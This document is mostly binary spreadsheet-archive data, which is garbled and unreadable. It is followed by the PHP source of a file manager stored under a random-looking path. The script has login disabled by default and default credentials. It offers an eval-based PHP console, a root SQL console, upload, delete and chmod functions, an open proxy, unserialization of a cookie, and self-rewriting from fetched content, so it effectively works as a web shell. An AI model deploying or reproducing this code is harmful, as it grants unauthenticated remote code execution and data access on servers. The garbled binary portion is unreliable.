��3�K�λ+���ק�+�Db�����.�˅ќ�L�n�4	���T��c|h��;�4��LM,{���� �8$	Q([�Bd�(��u���K>V�E]L�.ґ2ݠ1�efRB]���]����~�V����XVq�u<U86j�c�#ob��<�	��p� �!a�"��涘U��P��a�e����NLț�s��'�ǩQg�D:�C9�-��WF%x5C�1�'��K�:_Zߡad� ��T�R��j>������J�䴲�(��e{߂C̔<'�u�X���4�#��+�
�.V�\����,Ŷ�k�l���{L;P3Fnʼ�K0/�d>ȉ}~�c)��Ο���c���� ��%��dJ�r	���w~E�`s>���j��tK�o.��P�Z��
k]y;aN<�4�3K�N�fkބ�A8{��5ѰQ0#A��<,"န1r��8�3���z�i��[o'�,A�Ź5��Rc%J�j:��:BG����,��c����8~2+U��I��Ui�k�����m�4j
��H�T�XFU�4�,�ozn懋1�P�ΦE��Z�'CK�c⫚��\�SE�A���}z���
����9�P��x��/���k�2;0K#\֤���?/t�G�zv��ohJ�M��]S��
n+ȯ^���=ڱ�P�*�F�hrY����TB,{���J�u��Q�0R�4D�B�S� dO�v�������9���,ԕi�;"��
��]��P4�&�#r�ɠ٦����p���t>��KA�yzW+��Q��v*��m�-nzg>jS����
7>[��C��G���F��.�o19�ۚq���Z��]�l>5g�j�}��7w�g�w�������L>Z�3����m�M���{�p)���>��t�oPK�>�Z5T7�bxl/sharedStrings.xmlSV�T�N�@���Ytg옆Gj�EQ%��XɔX��3AeT�E���
h�#E-n-B�_����;�!�ج*[���{Μ����-�
� �.��Z�0ތZ_s�ϟ�EJ��y��D��t�	���8BH�P.\ږ��0M�l���Q�q�|��Зx��Lэ��m�d�1m˚7C?��x��c��.���s��0��:��S�}��;�d�<�����g?? 5cިi��)��A���gi�
CC��0�D����[�E�\��m$BEx�)o���*8�C�F�R�y_�m{�t����ɶ�a�+{�y�h���*�_�˰S��$�V��=�6�~�u����'�Wo��;Q�Q~Z`F��[5�ǩ�nJ��Ċa������X�ےA=C�?Uև���i���ĭ�,�`�#�q�<�Ȟ҅�jd_�.%0������^�EY�(�S��Q=h� o��'�e/L�Ix�PK�>�Z�A	�
xl/styles.xmlSV�VMo�0��WX�7�m�n" j#!�ШR�R�֪?�mVK}m��m۴�<��<3&���v�
S2��U��RUL6)���߮12�ʊr%!�=|��I��9<m,rw����m5�;��&�[k�;BL�A͕jA��ZiA�suC�[C+�'�(zOeg��D.�A��Mq�I��J��5@�hG��������[���?���+W�Hq�G��aI�H�@9+4� 	��R���M�|����g������d0��
 KZj-h�;���oa@B�э�}��Y,��P�r�3e��e	�ں�5[?Z�?i�Ψm���SN+F�і���/����F�$>W��"���t�F3���/����C����)�S��G�my��P��{�D:*|�f��1�9k��C����/)~eI�˓���%]����u^�eH�Ηt��~Oâ����|CN���񼏢c�2y��8�j_���!d����������-������c�`ϡ�)B��PK�>�Z�U���vxl/workbook.xmlSV�RMs�@��+̒�F�Bӡ!vZR:���P�ŖkM�ó�N�z��8$��E~�x��vv�Q2Y�udt.�ƙHP��"���_����"qt�h��:qV����}\�p�ԵPr���ЮP�v�h�o�i����iQs�6V�ghR�5P��+��Ͳ�T�-����k*�”�B�{�<��j�(f5I��L�m���y7R$��\��*���k?u$�d���؄užjѐ��
��`���o~�	��V��e.Xi輙��h/��5]u��ck���ib�"M���\5H�	�1�/�ҳ��mi��Cq��Z�������t˟A�\�d�kE��$�?�"�K[�{kś
6�Q��@ġ�+���5��ث�8��֤�
�-�Fj5��	K[K��y؆�
����Wٻ��1z�r�q4����&�t�Kq�x�-�Q�����o�й���Q��Fx�������~e~�%η��	�/��PK�>�Z@5W;��xl/worksheets/sheet1.xmlSV�W�r�8}߯�x0�lOM.N2�TRIv�Ya����K��u�M%Ƀ#u���O��f��P�3Nh5wo�:�JiF����y�m�:\�*C���}����k���o0Ly�RP�s�vؕŠ�ݍ��y��%��q���	����a
�RY��`��%"�A���`�<')���ĕ� H@L|Cjޠ��e�!�����i��
^IRF9ͅ��Ҹ�6ʉ?��y(?�)>AS�~$���m�
�j�fE
"^����f]Q�V��B�$z��0i1S���������nEA*�-���3\н�5�G��)�3�,f�T˚u���`z�He��{n��VO�������Ż��E*o@E�7t�Hv�@�
��Z�H�紸���h�kTa��Ts7r���P����ܽ�]�����ggE���
H*���?�R�+eH��(mzB���N��5�h�C�i��b�"9*i��
wKU;���h[���tDDk�w�w�x�ite@���F)-��uJ��*�=��f�c/�{+��R��3�n9��[ۘ��WY�
��`�Co2}0��0n�co4���ab�#`셣�x���1�'_��0��q�e�������(�2^00�r��4� �2h!co�}]�@-f��xn�>x�cLy{�Rz&��.�
8Hw�p8�wȘ\h��6IZ��=���*����{�k��m���&�R�(F���I7~D6z�E?�(��w��W��J,�`�5����r�Q��ʫ�2�*�;�]7e��e/߷ex��4�v�=�le/����>ñaX*'��z����K[�����r�q�Gnl�/��������:�6��i�Z��Y����z�C8:�ӣI���
f��C����q��CbbH��IL�!19��[��
�T=�i���f���j������Q���l%O��a�"�ƿ[XS@sw�w;�=�CW�F�!VmN3ۨM����)����F���'�G��e>�w��5M�+E�Z���D<Ӷ�1s��T�3�oF���W��1%��,�#NF�3��>�.w�jyhK¸h�ʅ�DlࣦymPA֕���z�,��)���P������5�'r�.�'�t�]ҙ�I��;�	X̄��x@Lp'��J4�f���PK�>�Z�KR"x�#xl/worksheets/_rels/sheet1.xml.relsSVM�1!{_A��@c�q���p+a!,1�{)-'��y����$�p�(bW�����~ݟAIG�0&_X��|��}4b5&,B���@e*�x�gi���uE�BO�h�I����PK�>�ZG�D�Z� [Content_Types].xmlPK�>�Z�78�K �_rels/.relsPK�>�Z�$�V�� �xl/_rels/workbook.xml.relsPK�>�Zad���E �docProps/app.xmlPK�>�Zn�r �docProps/core.xmlPK�>�Zs�{Y�� 'xl/theme/theme1.xmlPK�>�Z5T7�b 
xl/sharedStrings.xmlPK�>�Z�A	�
 4xl/styles.xmlPK�>�Z�U���v lxl/workbook.xmlPK�>�Z@5W;�� �xl/worksheets/sheet1.xmlPK�>�Z�KR"x�# hxl/worksheets/_rels/sheet1.xml.relsPK�%PK!���5�55dkj3p/4ysuf.phpnu�[���<?php
/* PHP File manager ver 1.4 */
// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
